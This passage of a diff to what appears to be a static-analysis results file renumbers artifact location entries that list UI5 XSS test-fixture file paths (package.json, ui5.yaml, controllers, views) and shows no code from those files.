-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 200
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 201
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 202
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 203
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 204
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 205
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 206
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 207
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-api2/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 208
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 209
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 210
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 211
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 212
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 213
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 214
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 215
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 216
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-jquery/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 217
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 218
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 219
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 220
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 221
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 222
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 223
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 224
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 225
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-property-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 226
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 227
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 228
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 229
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 230
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 231
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 232
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 233
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 234
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-custom-control-sanitized/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 235
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 236
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 237
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 238
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 239
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 240
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 241
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 242
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-event-handlers/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 243
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 244
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 245
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 246
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 247
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 248
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 249
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 250
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 251
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 252
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 253
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 254
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 255
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 256
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 257
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 258
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-df/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 259
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 260
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 261
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 262
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 263
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 264
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 265
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 266
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-control-oneway/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 267
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 268
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 269
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 270
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 271
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/controller/model.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 272
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 273
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 274
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 275
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-external-model/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 276
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 277
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 278
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 279
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 280
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 281
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 282
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 283
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-html-view/webapp/view/app.view.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 284
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 285
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 286
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 287
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xss.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 288
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssBase.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 289
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/control/xssRenderer.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 290
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/controller/app.controller.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 291
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.html",
         "uriBaseId" : "%SRCROOT%",
         "index" : 292
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/index.js",
         "uriBaseId" : "%SRCROOT%",
         "index" : 293
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/manifest.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 294
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-indirect-control/webapp/view/app.view.xml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 295
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/controller/app.controller.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package-lock.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 296
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.html",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/package.json",
         "uriBaseId" : "%SRCROOT%",
         "index" : 297
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/index.js",
+        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/ui5.yaml",
         "uriBaseId" : "%SRCROOT%",
         "index" : 298
       }
     }, {
       "location" : {
-        "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-js-view/webapp/manifest.json",
